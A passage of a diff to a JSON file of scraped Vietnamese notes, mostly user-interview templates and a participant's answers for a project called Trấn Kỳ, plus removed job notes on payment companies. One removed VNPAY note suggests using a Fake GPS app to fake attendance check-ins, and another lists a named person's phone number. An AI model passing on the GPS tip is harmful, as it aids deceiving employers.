loại xong giúp ích được những gì cho bạn?\r\n## Bạn phân loại như thế nào?\r\n### Tại sao lại dùng công cụ này mà không phải là những công cụ khác? \r\n## Trong tháng vừa qua bạn đã phân loại dữ liệu bao nhiêu lần?\r\n## Mỗi lần phân loại bạn tốn bao nhiêu thời gian?\r\n## Bao lâu bạn phân loại một lần?\r\n## Sau khi phân loại xong thì bạn làm những gì tiếp theo?\r\n## Nếu không phải tốn thời gian cho việc phân loại thì bạn sẽ làm gì?\r\n## Bạn cảm thấy như thế nào vào lúc phải phân loại?\r\n## Có lúc nào bạn không phân loại không? Tại sao?\r\n\r\n# Giải pháp phân loại tự động\r\n## Bạn có bao giờ nghĩ về giải pháp giúp tự động phân loại dữ liệu không?\r\n### Lúc nghĩ về nó bạn đã cảm thấy thế nào? \r\n## Bạn đã biết tới những giải pháp nào?\r\n### Nếu là AI thì sao?\r\n## Bạn nghĩ rằng giải pháp đáp ứng được nhu cầu của mình nên là như thế nào?\r\n### Việc đáp ứng được các nhu cầu đó sẽ khiến bạn khác đi như thế nào?\r\n## Bạn sẽ làm những gì để có được nó?\r\n### Tức là bạn thấy rằng những gì bạn làm để có được nó tương xứng với những gì mà nó đã cho bạn?\r\n\r\n# Hành trình người dùng ở Trấn Kỳ\r\n## Bạn đã biết tới Trấn Kỳ thế nào?\r\n## Bạn đã biết được gì về Trấn Kỳ rồi?\r\n## Cảm nhận của bạn khi đọc là gì?\r\n## Điều gì khiến bạn like, comment, share, hoặc không làm điều đó?\r\n## Điều gì khiến bạn chưa tìm hiểu về nó?\r\n## Bạn mong chờ gì ở Trấn Kỳ?\r\n\r\n# Quan sát việc sử dụng Trấn Kỳ\r\n## Điều gì ở Trấn Kỳ gây ấn tượng với bạn?\r\n## Bạn thấy chân trang thế nào?\r\n## Link nào ở chân trang làm bạn quan tâm?\r\n## Có điều gì ở Trấn Kỳ làm bạn muốn kể cho người khác không? Nếu không thì vì sao?\r\n## Có suy nghĩ nào của bạn được thay đổi sau khi dùng thử Trấn Kỳ không? Nếu không thì vì sao?\r\n\r\n# Trò chuyện thêm\r\n## Mức độ sẵn sàng chia sẻ ghi chú này\r\n### Có muốn đọc bản ghi chú này không?\r\n## Sở thích \r\n## Lý do chọn công việc hiện tại\r\n## Nhu cầu, ưu tiên, dự định trong cuộc sống\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T06:32:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "4_" }, { - "Tiêu đề": "Cathay", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chính sách công ty/Cathay", + "Tiêu đề": "Lời mời tham gia phỏng vấn", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Lời mời tham gia phỏng vấn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Mô tả công việc\n### Làm một lần\n- 3 ngày học \n- 1 buổi thi\n- 3 buổi thực tập\n\nLàm xong được 2tr4\n \n### Làm mỗi ngày\nSáng t2 đến t6, 8h30 đến 11h. Thứ hai và thứ tư có thể ở lại đến 13, 14h chiều.\n- Tham gia học và làm bài tập nếu như sếp tổng có yêu cầu\n- Hưởng ứng các hoạt động của công ty khi đi làm (như tập thể dục nhịp điệu buổi sáng, hát quốc ca :v và hô những câu hơi sáo rỗng, xem như một hoạt động diễn xuất thì thấy vui)\n\nLàm 3 tháng: 10tr/tháng\n\n### Làm mỗi tuần\nSáng t7 có các hoạt động vui chơi dành cho trẻ em, có thể tham gia hoặc không. Hỗ trợ anh chị chuẩn bị mọi thứ và vui chơi cùng mấy bé. Cho làm bánh, làm thủ công, vẽ, v.v. Khá là vui nếu thích con nít.\n\nXem thêm:: [[Học làm đại lý bán bảo hiểm]]\n\n## FAQ\n### 10tr/tháng có nhiều quá không?\nTại vì làm quản lý, không phải làm đại lý.\n\nLiên hệ:: [[Hồng Thị Tuyết Nhi|Hồng Thị Tuyết Nhi – 0336 408 666]]", + "Toàn bộ nội dung": "# Email mời phỏng vấn\r\nLời mời tham gia phỏng vấn về nhu cầu phân loại dữ liệu của bạn\r\n\r\nXin chào bạn, \r\n\r\nMình là Lý Minh Nhật, người tạo nên bản *Khảo sát nhu cầu phân loại tự động và lập trình*. Trong bản khảo sát, bạn đã nói rằng trong tháng vừa qua bạn đã phân loại hơn 10 lần, mỗi lần từ 11 phút đến 1 tiếng. Điều này khiến bạn cảm thấy mất tập trung, chán nản và mất năng lượng. Vì vậy, mình rất quan tâm và mong muốn tìm hiểu xem bạn đã có những trải nghiệm cụ thể nào với việc phân loại, để chúng ta có thể có được một giải pháp tốt hơn. Không biết mình có thể hẹn bạn một cuộc trò chuyện để hiểu hơn về bạn được không?\r\n\r\nTinh thần của cuộc phỏng vấn sẽ rất thoải mái, bạn có thể giải thích cách bạn đã phân loại dữ liệu như thế nào cũng như những mong muốn của bạn với một giải pháp tốt hơn. Mình mong muốn bạn sẽ chia sẻ màn hình với mình lúc đó để có thể quan sát thao tác của bạn. Nếu bạn thấy hứng thú thì hãy cho mình biết thời điểm chúng ta có thể nói chuyện được nhé.\r\n\r\nRất mong được nói chuyện với bạn. Cảm ơn bạn đã dành thời gian làm khảo sát.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-27T07:20:00.000Z", - "Ngày cập nhật": "2024-08-28T07:10:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "50" }, { - "Tiêu đề": "Các công ty trung gian thanh toán", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chính sách công ty/Các công ty trung gian thanh toán", + "Tiêu đề": "Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ngày trả lương cho nhân viên và tiền công cho cộng tác viên đều là vào đầu tháng.\n\n| | Momo | VNPAY | Smartpay | Zalopay | Ecopay |\n| ----------------------------- | ----------------------------- | ---------------------------------- | -------- | ------- | ------ |\n| Có cộng tác viên | ✔ | ❌ | ❌ | ❌ | ❌ |\n| Chỉ tiêu nhân viên hàng tháng | 120 cửa hàng được FO/AI duyệt | | | | |\n| Lương cứng | 8 tr | | | | |\n| Báo cáo cửa hàng tiềm năng | | 10 cửa hàng/ngày trong 30 ngày đầu | | | |\n\n## Momo\nCác cửa hàng được chia thành 3 cấp độ:\n\n| Cấp | Tên gọi | Điều kiện | Tiền công |\n| --- | ------------------- | ------------------------------------------------------------------------------------------------------ | --------- |\n| 1 | Đăng ký | Khách hàng ký + admin duyệt + có gd 50k | 30k |\n| 2 | Hậu kiểm | Nếu cửa hàng nhỏ (VD: xe đẩy) thì FO sẽ tự mình đi kiểm tra, còn cửa hàng cố định thì dùng AI kiểm tra | 40k |\n| 3 | Cửa hàng chất lượng | 5 giao dịch có tổng trên 2tr | 30k |\n\nCTV thì bị trừ 10%. \n[[Khác biệt giữa nhân viên, đại lý, cộng tác viên]]\n\n- ASM bị áp lực phải tuyển mới\n- Một NV mở sai thanh tra toàn bộ nhóm. Một hình phạt tập thể để ngăn việc chạy ảo\n- Sale có 3 tháng đầu để chăm sóc khách hàng, sau đó thì sẽ được bàn giao cho bộ phận chăm sóc khách hàng. Nếu NV nghỉ trước 3 tháng thì hồ sơ sẽ được đưa cho ASM, rồi ASM sẽ đưa lại cho NV khác.\n- Tốt nhất là chuẩn bị hợp đồng từ ngày 25 tháng trước, để đến tháng sau là lên hợp đồng xong thì sẽ có 20 ngày để sử dụng", + "Toàn bộ nội dung": "[[Giả thiết về thái độ người dùng]]\r\n[[Giả thiết về giá trị của Trấn Kỳ]]\r\n# Thông tin cơ bản\r\n- Giới thiệu về bản thân, công việc\r\n\r\n# Việc ghi chép và phân loại\r\n- Họ thường ghi chép những gì?\r\n- Họ thường phân loại những gì?\r\n- Việc phân loại giúp ích được những gì cho họ?\r\n- Thứ họ có được sau khi phân loại xong giúp ích được những gì cho họ?\r\n- Họ phân loại như thế nào?\r\n - Tại sao lại dùng công cụ này mà không phải là những công cụ khác? \r\n- Trong tháng vừa qua họ đã phân loại dữ liệu bao nhiêu lần?\r\n- Mỗi lần phân loại họ tốn bao nhiêu thời gian?\r\n- Bao lâu họ phân loại một lần?\r\n- Sau khi phân loại xong thì họ làm những gì tiếp theo?\r\n- Nếu không phải tốn thời gian cho việc phân loại thì họ sẽ làm gì?\r\n- Họ cảm thấy như thế nào vào lúc phải phân loại?\r\n- Có lúc nào họ không phân loại không? Tại sao?\r\n\r\n# Giải pháp phân loại tự động\r\n- Họ có bao giờ nghĩ về giải pháp giúp tự động phân loại dữ liệu không?\r\n - Lúc nghĩ về nó họ đã cảm thấy thế nào? \r\n- Họ đã biết tới những giải pháp nào?\r\n - Nếu là AI thì sao?\r\n- Họ nghĩ rằng giải pháp đáp ứng được nhu cầu của mình nên là như thế nào?\r\n - Việc đáp ứng được các nhu cầu đó sẽ khiến họ khác đi như thế nào?\r\n- Họ sẽ làm những gì để có được nó?\r\n - Tức là họ thấy rằng những gì họ làm để có được nó tương xứng với những gì mà nó đã cho họ?\r\n\r\n# Hành trình người dùng ở Trấn Kỳ\r\n- Họ đã biết tới Trấn Kỳ thế nào?\r\n- Họ đã biết được gì về Trấn Kỳ rồi?\r\n- Cảm nhận của họ khi đọc là gì?\r\n- Điều gì khiến họ like, comment, share, hoặc không làm điều đó?\r\n- Điều gì khiến họ chưa tìm hiểu về nó?\r\n- Họ mong chờ gì ở Trấn Kỳ?\r\n\r\n# Quan sát việc sử dụng Trấn Kỳ\r\n- Điều gì ở Trấn Kỳ gây ấn tượng với họ?\r\n- Họ thấy chân trang thế nào?\r\n- Link nào ở chân trang làm họ quan tâm?\r\n- Họ thấy các bài viết như thế nào?\r\n- Có điều gì ở Trấn Kỳ làm họ muốn kể cho người khác không? Nếu không thì vì sao?\r\n- Có suy nghĩ nào của họ được thay đổi sau khi dùng thử Trấn Kỳ không? Nếu không thì vì sao?\r\n\r\n# Trò chuyện thêm\r\n- Mức độ sẵn sàng chia sẻ ghi chú này\r\n - Có muốn đọc bản ghi chú này không?\r\n- Sở thích \r\n- Lý do chọn công việc hiện tại\r\n- Nhu cầu, ưu tiên, dự định trong cuộc sống\r\n\r\n[[Mục tiêu và câu hỏi nghiên cứu người đọc các bài về Trấn Kỳ]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:08:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "51" }, { - "Tiêu đề": "VNPAY", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chính sách công ty/VNPAY", + "Tiêu đề": "Câu hỏi phỏng vấn", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Sự tiếp nhận với các bài viết/Câu hỏi phỏng vấn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lương: 2tr/tháng\n## Mô tả công việc\n### Làm một lần\n- Khám sức khoẻ: 2 tiếng \n- Xác nhận sơ yếu lý lịch trên phường: 15 phút \n- Mở tài khoản ngân hàng Vietinbank: 5 phút \n- Đi phỏng vấn: 1 tiếng \n- Tham gia các buổi đào tạo chung: 3 buổi, mỗi buổi 2 tiếng (1 ngày rưỡi)\n- Lên công ty hướng dẫn thực địa: khoảng 3 buổi trong 3 ngày khác nhau\n- Có đồng phục thì chụp hình chấm công cho cả tháng: 10 phút \n \n### Làm mỗi ngày\n- Gửi hình và vị trí chấm công qua Zalo vào mỗi sáng lúc 8h30: 10 s\n\nCó thể dùng Fake GPS để ở nơi khác vẫn tới vị trí chấm công được.\n\n### Làm mỗi tuần\n- Trả lời tin nhắn: vài phút \n- Họp nhóm trên công ty: 3 tiếng \n\nMỗi sáng t2, t5 các [[ASM]] họp. Lịch họp nhóm thì tuỳ nhóm, thường là chiều t2 hoặc sáng t3\n## Liên kết\n[\\[VNNG\\] Sales Checklist - Google Trang tính](https://docs.google.com/spreadsheets/d/1OYAC1TGoBtUZNt3wjc3KM8yjTNNV-xdlX0TcDIz7BgM/edit#gid=906803463 \"[VNNG] Sales Checklist - Google Trang tính\")\n[\\[MNA - HCM9\\] Tracking BD 2024](https://lookerstudio.google.com/u/0/reporting/69e85f7b-a4cd-4667-92c5-bdc5a866d9a7/page/p_vesr063xed \"[MNA - HCM9] Tracking BD 2024\")\n[\\[MNA - BD\\] KPI REPORT 2024 - Google Trang tính](https://docs.google.com/spreadsheets/d/1tGvz5eMpOUgmeOrcduk5QbPKtxI6oFX4CJFwCHBa6N0/edit?pli=1#gid=864778555 \"[MNA - BD] KPI REPORT 2024 - Google Trang tính\")\n[\\[MNA - HCM9\\] Tracking BD 2024 › VNPAY QR](https://lookerstudio.google.com/u/0/reporting/69e85f7b-a4cd-4667-92c5-bdc5a866d9a7/page/p_vesr063xed?pli=1 \"[MNA - HCM9] Tracking BD 2024 › VNPAY QR\")\n[Cổng Thông Tin - Phòng chống Cheating](https://sites.google.com/vnpay.vn/vnng/vnng-mna/ph%C3%B2ng-ch%E1%BB%91ng-cheating \"Cổng Thông Tin - Phòng chống Cheating\")\n[Sale Portal](https://sp3.vnpay.vn/mobile? \"Sale Portal\")\n", + "Toàn bộ nội dung": "# Tiếp nhận khi đọc Giới thiệu Trấn Kỳ\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Thấy nó giúp tiết kiệm thời gian của mình?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc Lấy code\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Thấy việc mình được định giá sản phẩm là thú vị, chưa thấy ai làm?\r\n- [ ] Thấy việc mình được định giá sản phẩm là thực sự nghĩ cho mình?\r\n- [ ] Thấy nút \"thú vị\" thú vị đủ để bấm vô tiếp?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Hiểu được ý tưởng?\r\n- [ ] Thấy ý tưởng này là một thứ có ý nghĩa?\r\n- [ ] Thấy ý tưởng này kích thích những thử thách, giúp ứng dụng những kỹ năng mình có trong môi trường mới?\r\n- [ ] Thấy tò mò với những kế hoạch?\r\n- [ ] Thấy việc tham gia đáp ứng được những nhu cầu lớn trước mắt mình?\r\n- [ ] Việc chuyển qua website khác không làm bạn thấy có vấn đề?\r\n- [ ] Thấy ý tưởng này là một giải pháp cho những vấn đề tiền không đáp ứng được?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Lý do viết Trấn Kỳ]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Hiểu được sự khác biệt giữa Trấn Kỳ với các phần mềm quản lý thu chi cá nhân khác?\r\n- [ ] Hiểu rằng mình đang đòi hỏi những thứ mà các phần mềm no code không đáp ứng được?\r\n- [ ] Hiểu được rằng AI không ứng dụng được trong trường hợp này?\r\n- [ ] Sẵn sàng học lập trình nếu có người hướng dẫn, hoặc chấp nhận thuê?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Mô hình kinh doanh Trấn Kỳ]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Thấy rằng đây là một giải pháp cho những vấn đề tiền không đáp ứng được?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Hiểu được điều mình có thể có ở đây?\r\n- [ ] Chủ động nhắn tin?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc Hướng dẫn sử dụng\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Thực sự muốn hướng dẫn mình học chứ không che dấu gì cả?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-27T07:25:00.000Z", - "Ngày cập nhật": "2024-08-27T07:39:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "52" }, { - "Tiêu đề": "Chỉ cần ước lượng đại khái", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Cách lên kế hoạch sử dụng tiền/Chỉ cần ước lượng đại khái", + "Tiêu đề": "Duy Phong", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Sự tiếp nhận với các bài viết/Kết quả/Duy Phong", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu người dùng::\r\nTính năng::\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", + "Toàn bộ nội dung": "# Tiếp nhận khi đọc Giới thiệu Trấn Kỳ\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\nđi chợ thì cũng nên có ai đó gợi ý hành vi của mình, hoặc có đếm lùi bao lâu thì hết hạn. Mỗi lần tiêu thụ thì tự gạch một lần\r\n\r\nKhông tin là khai báo dữ liệu vì thấy nó lý tưởng quá\r\n\r\nLúc đó không có kendy\r\nnhìn mô hình hoạt động\r\nđọc một cái gì đó trên fb.\r\n\r\nexpect của người làm từ thiện thì ko mong nhận lại\r\n\r\nchưa đọc về tính năng, lúc nào cần kỹ thì mới phải mở lại\r\ndùng app note kéo xuống hơi khó chịu\r\nghi chú, hướng dẫn \r\n\r\nkhông muốn ý tưởng bị chia nhỏ\r\nquên hoặc ko rõ các database có những trường hợp nào\r\n\r\nnhững cái nút nào ở cuối thì nên giữ nguyên\r\n- [ ] Thấy nó giúp tiết kiệm thời gian của mình?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc Lấy code\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\nko quan tâm đến Kendy. Gặp khó khăn về định giá\r\nNếu nó giúp tiết kiệm \r\n\r\nĐập thẳng vào mắt, không dùng chiêu trò gây cảm xúc. không hình dung được thế giới mà tiền bạc ko phải là vấn đề. Thường muốn chi một thể chứ không muốn chi từng ngày. Nghĩ là họ phải có sự kiểm soát\r\nluôn luôn nghĩ về tiền rất khó chịu\r\nđược quyền nghĩ là mình có thể ra giá 100k thì thấy rất sỉ nhục. Nghĩ thì thấy là hay, nhưng không có điều kiện nghĩ. Lấy ví dụ cách định nghĩa để mọi người nghĩ\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Thấy việc mình được định giá sản phẩm là thú vị, chưa thấy ai làm?\r\n- [ ] Thấy việc mình được định giá sản phẩm là thực sự nghĩ cho mình?\r\n- [ ] Thấy nút \"thú vị\" thú vị đủ để bấm vô tiếp?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\nko có thời gian để tham gia vào \r\nthấy chi tiết nhưng khi đọc kỹ thì lại thấy không rõ ràng đủ để chi tiết\r\ncó một cái nhỏ thì thấy giúp dễ hơn\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Hiểu được ý tưởng?\r\n- [ ] Thấy ý tưởng này là một thứ có ý nghĩa?\r\n- [ ] Thấy ý tưởng này kích thích những thử thách, giúp ứng dụng những kỹ năng mình có trong môi trường mới?\r\n- [ ] Thấy tò mò với những kế hoạch?\r\n- [ ] Thấy việc tham gia đáp ứng được những nhu cầu lớn trước mắt mình?\r\n- [ ] Việc chuyển qua website khác không làm bạn thấy có vấn đề?\r\n- [ ] Thấy ý tưởng này là một giải pháp cho những vấn đề tiền không đáp ứng được?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Lý do viết Trấn Kỳ]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Hiểu được sự khác biệt giữa Trấn Kỳ với các phần mềm quản lý thu chi cá nhân khác?\r\n- [ ] Hiểu rằng mình đang đòi hỏi những thứ mà các phần mềm no code không đáp ứng được?\r\n- [ ] Hiểu được rằng AI không ứng dụng được trong trường hợp này?\r\n- [ ] Sẵn sàng học lập trình nếu có người hướng dẫn, hoặc chấp nhận thuê?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Mô hình kinh doanh Trấn Kỳ]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Thấy rằng đây là một giải pháp cho những vấn đề tiền không đáp ứng được?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\nsau năm 4 thì sẽ thành top priority. Chưa thấy có cái nào khá ấn tượng với mình. \r\ntự động hoá thì cao. Thấy vẫn là nặng\r\n\r\nnhững cái to lớn thì mới sắp xếp vào\r\n\r\ncảm giác mới chỉ là một cái kế hoạch\r\n- [ ] Hiểu được điều mình có thể có ở đây?\r\n- [ ] Chủ động nhắn tin?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc Hướng dẫn sử dụng\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Thực sự muốn hướng dẫn mình học chứ không che dấu gì cả?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n\r\n\r\nthích chia sẻ workflow. Nếu có workflow thì sẽ thuyết phục được mọi người đổi\r\ntìm hiểu về IT là phải tìm hiểu về workflow \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": 